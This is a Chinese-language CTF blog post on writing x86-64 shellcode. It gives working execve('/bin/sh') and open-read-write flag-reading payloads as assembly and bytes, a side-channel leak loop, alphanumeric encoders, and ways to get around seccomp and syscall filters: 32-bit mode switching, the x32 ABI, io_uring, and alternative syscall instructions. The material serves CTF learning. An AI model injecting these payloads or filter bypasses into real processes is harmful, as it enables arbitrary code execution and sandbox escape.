Pwn.the-Art-of-Shellcode
2025-10-11 19:25:59 # CTF

Basic

首先给出两个常用shellcode仓库,可以检索需要的shellcode

常见指令及其编码

  1. push系列指令
1
2
3
4
5
6
7
8
from pwn import *
context.arch = "amd64"
reg = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]

for i in reg:
res = f"push {i};"
# print(res)
print(res,asm(res))
  1. pop系列指令
1
2
3
4
5
6
7
8
from pwn import *
context.arch = "amd64"
reg = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]

for i in reg:
res = f"pop {i};"
# print(res)
print(res,asm(res))
  1. 运算指令
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch = "amd64"
reg = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]

al = ["add", "sub", "xor", "or", "and", "xchg"]
for k in al:
for i in reg:
for j in reg:
res = f"{k} {i}, {j};"
# print(res)
print(res,asm(res))
  1. 移位指令
    移位指令第二个操作数只能是立即数
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = "amd64"
reg = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]

# shl:逻辑左移 sal:算术左移 rol:循环左移
al = ["shl", "shr", "sal", "sar", "rol", "ror"]
for k in al:
for i in reg:
# for j in reg:
res = f"{k} {i}, 1;"
# print(res)
print(res,asm(res))
  1. 比较和条件指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = "amd64"
reg = ["rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp", "rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]

for i in reg:
for j in reg:
res = f"cmp {i}, {j};"
print(res,asm(res))
# test 指令
for i in reg:
for j in reg:
res = f"test {i}, {j};"
print(res,asm(res))

  1. nop(0x90)
  • 空操作,通常用于填充或对齐
  1. ret(0xC3)
  • 从函数返回
  1. inc dec (0x40 - 0x4F)
  • 自增/自减寄存器值。
  1. leave(0xC9)
  • 函数尾部用于释放栈帧的指令,等价于 mov rsp, rbp; pop rbp
  1. xchg(0x90 与寄存器编码)
  • 交换 EAX 与另一个寄存器的值,XCHG EAX, EAX 实际上相当于 NOP
  1. stosb/stosw/stosd(0xAA / 0xAB)
  • 字节、字或双字存储,将 ALAXEAX 的值存入 RDIEDI 指针指向的位置。
  1. cbw/cwde/cdqe(0x98)
  • 进行符号扩展,将 AL 扩展到 AX,或 AX 扩展到 EAX,或 EAX 扩展到 RAX
  1. 获取fs和gs寄存器
1
2
mov rax, fs:[rax]
rdfsbase rax ; 将 fs 段基址加载到 rax 寄存器
  1. 获取xmm寄存器的值
1
2
3
4
movd eax, xmm0  ;将xmm0的低32位移到eax中。
movq rax, xmm0 ;将xmm0的低64位移到rax中。
pextrd eax, xmm0 ;将xmm0的第2个32位元素移到eax中(索引从0开始,1表示第2个32位)。
pextrq rax, xmm0, ;将xmm0的第2个64位移到rax中。
  1. lea (Load Effective Address)
1
2
lea rax, [rdi+1]   ; 计算 rdi 偏移 0x1 的地址
mov byte ptr [rax], 0xf1 ; 将 0xf1 写入该地址

接下来给出几个尽可能短的shellcode

1
2
3
4
5
; excve('/bin/sh','sh',0)
; rax: 0x3b
; rdi: '/bin/sh'
; rsi: 'sh'
; rdx; NULL

最短shellcode

特征与条件

长度为22字节
主要是通过cdq将rdx高位为0,减小了长度,另一种方法是通过mul r/m64指令,实现清空rax和rdx

  • eax 高二位必须为0,一般是满足的

汇编

1
2
3
4
5
6
7
8
9
xor 	rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
1
2
3
4
5
6
7
8
9
10
48 31 f6             xor rsi, rsi	
56 push rsi
58 bf 2f 62 69 6e 2f mov rdi, 0x68732f2f6e69622f;
2f 73 68
57 push rdi
54 push rsp
5f pop rdi ;stack pointer to /bin//sh
b0 3b mov al, 59 ;sys_execve 66 b8 3b 00 mov ax,59
99 cdq ;sign extend of eax
0f 05 syscall

字节码

1
2
3
4
5
6
7
// int
0x622fbf4856f63148
0x545768732f2f6e69
0x050f993bb05f

// bytes
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

orw

特征与条件

长度为0x28字节
主要是通过异或实现了取代了mov减少长度

  • rsp指向的地址必须是可用的
  • 存在NULL字符

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// rdx为写入数量
mov rdx, 0x200
push 0x67616c66
mov rdi,rsp
xor esi,esi #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall

字节码

1
2
3
4
5
6
7
0x6800000200c2c748
0x31e7894867616c66
0x050f00000002b8f6
0x0fc031e68948c789
0x050ff88902f78305

\x48\xc7\xc2\x00\x02\x00\x00\x68\x66\x6c\x61\x67\x48\x89\xe7\x31\xf6\xb8\x02\x00\x00\x00\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x83\xf7\x02\x89\xf8\x0f\x05

可指定地址orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shellcode = """
xor rdx,rdx
mov dh, 0x2
mov rdi,{}
xor esi,esi
mov eax,2
syscall
mov rsi,rdi
mov edi,eax
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
""".format(hex(target_addr + 0xb0))

侧信道爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
code = asm(
"""
push 0x67616c66
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
xor eax, eax
push 6
pop rdi
push 0x50
pop rdx
mov rsi, 0x10100
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl, dl
jz loop
mov al,231
syscall
loop:
jmp loop
""".format(offset, ch)
)

字符限制

编码工具

ae64 alpha3
Encode x32 alphanumeric shellcode x
Encode x64 alphanumeric shellcode
Original shellcode can contain zero bytes x
Base address register can contain offset x

Alpha3

限制只能使用字母或者数字
alpha3使用:
alpha3需要python2环境,所以先安装python2

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xc0\xb0\x3b\x99\x0f\x05"
with open("./sc.bin",'wb') as f:
f.write(sc)
1
python2 ALPHA3.py x64 ascii mixedcase rdx --input="sc.bin" > out.bin 

可以选择架构、编码、限制的字符

AE64

AE64可以直接在python中导入,使用相对较为方便且限制较少

1
2
3
4
5
6
7
8
9
10
from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))

手动绕过

主要是通过sub、add、xor等指令对于非字母数字指令进行加密。
可以先根据限制筛选出受限制后的指令列表,然后根据指令列表进行组合,从而实现绕过。

另一种方法是通过shellcode先实现write读取到shellcode的位置,然后输入新的无限制的
shellcode来完成绕过。

https://nets.ec/Alphanumeric_shellcode

特定位置字符限制

在最近的*CTF中存在一个用浮点数输入字符,并对浮点数做限制写shellcode的题目,实际上是限制了每八位需要有两位是特定字符,这里给出两种绕过思路:

1
2
3
4
mov rcx, im64
mov rcx, im32
mov ecx, im32
mov cl, im16

这里im是可以由我们自由控制的立即数,因此我们可以通过插入这些无关指令填充来绕过限制,上面这些指令涵盖了3、4、5字节,可以灵活插入来达到需要的效果

1
jmp short

通过jmp短跳转直接跳过中间指令,从而绕过限制

jmp指令本身只有两个字节,更为灵活。

对于orw的限制

如果程序还对orw等系统调用作出了限制呢?
w的限制还好说,可以通过侧信道leak出flag,而如果禁用了open,orw就 很难进行下去了。
但是还有一种方法。

利用32位调用绕过orw

x86与x64的syscall number是不一样的,如果能够跳转到32位执行相应的shellcode,就可一绕过限制。

x86 sys_number

| sys_number | | | | |
|—|—|—|—|—|—|
|3|read|0x03|unsigned int fd|char *buf|size_t count|
|4|write|0x04|unsigned int fd|const char *buf|size_t count|
|5|open|0x05|const char *filename|int flags|umode_t mode|

而程序是由32位还是64位执行是由cs寄存器决定的,而retfq指令可以对其作出更改,从而切换寄存器状态,所以可以由此实现orw。

值得注意的是, 对于32位程序, 由于kernel 也要对其作出相应支持, 所以内核代码中有一个操作系统层面的arch判断, personality, 这会影响mmap之类的操作

x32 ABI

x32 ABI 是一个应用程序二进制接口 (ABI),也是 Linux 内核的接口之一。 x32 ABI 在 Intel 和 AMD 64 位硬件上提供 32 位整数、长整数和指针。

可以通过 查看内核源代码 unistd_x32.h 查看

1
cat /usr/src/kernels/6.4.7-200.fc38.x86_64/arch/x86/include/generated/uapi/asm/unistd_x32.h
1
2
3
4
5
6
#ifndef _UAPI_ASM_UNISTD_X32_H              
#define _UAPI_ASM_UNISTD_X32_H
#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)

即可以通过0x40000000+syscall_number 来调用一些系统调用。所以可以绕过对syscall的限制。

不过这个特性似乎在大多数发行版中不受支持。

io_uring

io_uring 本身可以实现所有orw乃至socket连接操作, 在linux5.xx最少需要mmapio_uring_setup 两个syscall, 之后增加了 IORING_SETUP_NOMMAP 则可以只用一个syscall来实现orw

常见系统调用

open系syscall

  • open
  • openat
  • openat2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <fcntl.h>
#include <linux/openat2.h>
#include <stdio.h>
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>

int main() {
struct open_how how = {
.flags = O_RDONLY,
.resolve = RESOLVE_NO_SYMLINKS,
// .dirfd = AT_FDCWD,
};

int fd = syscall(SYS_openat2, AT_FDCWD, "/flag", &how, sizeof(how));
if (fd == -1) {
perror("openat2");
return 1;
}

printf("File descriptor: %d\n", fd);

close(fd);
return 0;
}
  • name_to_handle_at+name_to_handle_at

write系

  • write
  • sendto
  • sendmsg
  • sendfile
  • sendmmsg

  • rename
  • mprotect
  • mmap
  • execve
  • ptrace
  • seccomp

对于syscall指令的过滤

  • vdso: 通过vdso 中的syscall获取, vdso地址可以从栈中获取
  • sysenter: sysenter 指令可以替代syscall
  • int 80: int 80指令也可以替代

获取有用的地址

shellcode运行前还可能会使用汇编清理程序的寄存器,这时有:

  • 浮点相关寄存器(xmm/ymm)可能有残留地址,特别的,在存在输入函数的情况下,程序可能存在libc地址(一般是stdin)
  • fs_base指向进程tcb,一般的,这是一个libc地址

使用C来写shellcode

一般而言,shellcode要尽可能小并且不依赖其他代码并具有地址无关性,所以应该尽量不使用函数调用,而应该直接使用syscall,然而,由于部分syscall需要传递的参数是一个复杂的结构体,比如io_uring相关syscall。

首先,为了编译器不生成依赖地址的代码,首先应该尽量使用栈上变量,在栈上准备好相关结构体,然后使用inline asm来完成syscall, 然后就可以直接提取相应函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
/* SPDX-License-Identifier: MIT */

#ifndef LIBURING_ARCH_X86_SYSCALL_H
#define LIBURING_ARCH_X86_SYSCALL_H

#if defined(__x86_64__)
/**
* Note for syscall registers usage (x86-64):
* - %rax is the syscall number.
* - %rax is also the return value.
* - %rdi is the 1st argument.
* - %rsi is the 2nd argument.
* - %rdx is the 3rd argument.
* - %r10 is the 4th argument (**yes it's %r10, not %rcx!**).
* - %r8 is the 5th argument.
* - %r9 is the 6th argument.
*
* `syscall` instruction will clobber %r11 and %rcx.
*
* After the syscall returns to userspace:
* - %r11 will contain %rflags.
* - %rcx will contain the return address.
*
* IOW, after the syscall returns to userspace:
* %r11 == %rflags and %rcx == %rip.
*/

#define __do_syscall0(NUM) ({ \
intptr_t rax; \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"(NUM) /* %rax */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall1(NUM, ARG1) ({ \
intptr_t rax; \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)) /* %rdi */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall2(NUM, ARG1, ARG2) ({ \
intptr_t rax; \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)), /* %rdi */ \
"S"((ARG2)) /* %rsi */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall3(NUM, ARG1, ARG2, ARG3) ({ \
intptr_t rax; \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)), /* %rdi */ \
"S"((ARG2)), /* %rsi */ \
"d"((ARG3)) /* %rdx */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall4(NUM, ARG1, ARG2, ARG3, ARG4) ({ \
intptr_t rax; \
register __typeof__(ARG4) __r10 __asm__("r10") = (ARG4); \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)), /* %rdi */ \
"S"((ARG2)), /* %rsi */ \
"d"((ARG3)), /* %rdx */ \
"r"(__r10) /* %r10 */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall5(NUM, ARG1, ARG2, ARG3, ARG4, ARG5) ({ \
intptr_t rax; \
register __typeof__(ARG4) __r10 __asm__("r10") = (ARG4); \
register __typeof__(ARG5) __r8 __asm__("r8") = (ARG5); \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)), /* %rdi */ \
"S"((ARG2)), /* %rsi */ \
"d"((ARG3)), /* %rdx */ \
"r"(__r10), /* %r10 */ \
"r"(__r8) /* %r8 */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#define __do_syscall6(NUM, ARG1, ARG2, ARG3, ARG4, ARG5, ARG6) ({ \
intptr_t rax; \
register __typeof__(ARG4) __r10 __asm__("r10") = (ARG4); \
register __typeof__(ARG5) __r8 __asm__("r8") = (ARG5); \
register __typeof__(ARG6) __r9 __asm__("r9") = (ARG6); \
\
__asm__ volatile( \
"syscall" \
: "=a"(rax) /* %rax */ \
: "a"((NUM)), /* %rax */ \
"D"((ARG1)), /* %rdi */ \
"S"((ARG2)), /* %rsi */ \
"d"((ARG3)), /* %rdx */ \
"r"(__r10), /* %r10 */ \
"r"(__r8), /* %r8 */ \
"r"(__r9) /* %r9 */ \
: "rcx", "r11", "memory" \
); \
rax; \
})

#include "../syscall-defs.h"

#else /* #if defined(__x86_64__) */

#ifdef CONFIG_NOLIBC
/**
* Note for syscall registers usage (x86, 32-bit):
* - %eax is the syscall number.
* - %eax is also the return value.
* - %ebx is the 1st argument.
* - %ecx is the 2nd argument.
* - %edx is the 3rd argument.
* - %esi is the 4th argument.
* - %edi is the 5th argument.
* - %ebp is the 6th argument.
*/

#define __do_syscall0(NUM) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a"(eax) /* %eax */ \
: "a"(NUM) /* %eax */ \
: "memory" \
); \
eax; \
})

#define __do_syscall1(NUM, ARG1) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a"(eax) /* %eax */ \
: "a"(NUM), /* %eax */ \
"b"((ARG1)) /* %ebx */ \
: "memory" \
); \
eax; \
})

#define __do_syscall2(NUM, ARG1, ARG2) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a" (eax) /* %eax */ \
: "a"(NUM), /* %eax */ \
"b"((ARG1)), /* %ebx */ \
"c"((ARG2)) /* %ecx */ \
: "memory" \
); \
eax; \
})

#define __do_syscall3(NUM, ARG1, ARG2, ARG3) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a" (eax) /* %eax */ \
: "a"(NUM), /* %eax */ \
"b"((ARG1)), /* %ebx */ \
"c"((ARG2)), /* %ecx */ \
"d"((ARG3)) /* %edx */ \
: "memory" \
); \
eax; \
})

#define __do_syscall4(NUM, ARG1, ARG2, ARG3, ARG4) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a" (eax) /* %eax */ \
: "a"(NUM), /* %eax */ \
"b"((ARG1)), /* %ebx */ \
"c"((ARG2)), /* %ecx */ \
"d"((ARG3)), /* %edx */ \
"S"((ARG4)) /* %esi */ \
: "memory" \
); \
eax; \
})

#define __do_syscall5(NUM, ARG1, ARG2, ARG3, ARG4, ARG5) ({ \
intptr_t eax; \
\
__asm__ volatile( \
"int $0x80" \
: "=a" (eax) /* %eax */ \
: "a"(NUM), /* %eax */ \
"b"((ARG1)), /* %ebx */ \
"c"((ARG2)), /* %ecx */ \
"d"((ARG3)), /* %edx */ \
"S"((ARG4)), /* %esi */ \
"D"((ARG5)) /* %edi */ \
: "memory" \
); \
eax; \
})


/*
* On i386, the 6th argument of syscall goes in %ebp. However, both Clang
* and GCC cannot use %ebp in the clobber list and in the "r" constraint
* without using -fomit-frame-pointer. To make it always available for
* any kind of compilation, the below workaround is implemented:
*
* 1) Push the 6-th argument.
* 2) Push %ebp.
* 3) Load the 6-th argument from 4(%esp) to %ebp.
* 4) Do the syscall (int $0x80).
* 5) Pop %ebp (restore the old value of %ebp).
* 6) Add %esp by 4 (undo the stack pointer).
*
* WARNING:
* Don't use register variables for __do_syscall6(), there is a known
* GCC bug that results in an endless loop.
*
* BugLink: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105032
*
*/
#define __do_syscall6(NUM, ARG1, ARG2, ARG3, ARG4, ARG5, ARG6) ({ \
intptr_t eax = (intptr_t)(NUM); \
intptr_t arg6 = (intptr_t)(ARG6); /* Always in memory */ \
__asm__ volatile ( \
"pushl %[_arg6]\n\t" \
"pushl %%ebp\n\t" \
"movl 4(%%esp),%%ebp\n\t" \
"int $0x80\n\t" \
"popl %%ebp\n\t" \
"addl $4,%%esp" \
: "+a"(eax) /* %eax */ \
: "b"(ARG1), /* %ebx */ \
"c"(ARG2), /* %ecx */ \
"d"(ARG3), /* %edx */ \
"S"(ARG4), /* %esi */ \
"D"(ARG5), /* %edi */ \
[_arg6]"m"(arg6) /* memory */ \
: "memory", "cc" \
); \
eax; \
})

#include "../syscall-defs.h"

#else /* #ifdef CONFIG_NOLIBC */

#include "../generic/syscall.h"

#endif /* #ifdef CONFIG_NOLIBC */

#endif /* #if defined(__x86_64__) */

#endif /* #ifndef LIBURING_ARCH_X86_SYSCALL_H */

tricks

  • 对于一些题目,对shellcode的检查用到了strlen,那么可以通过先使用一些存在NULL截断的指令,从而使得后面的字符串绕过限制。
  • 在无法获取shellcode运行地址时,可以运行syscall,运行后,rcx会被改写为下一条指令的地址。在32位程序中,还可以通过call指令获取将运行地址压入栈中,在64位地址中,可以直接通过 lea rax, [rip] 来获取rip地址
2025-10-11 19:25:59 # CTF
Next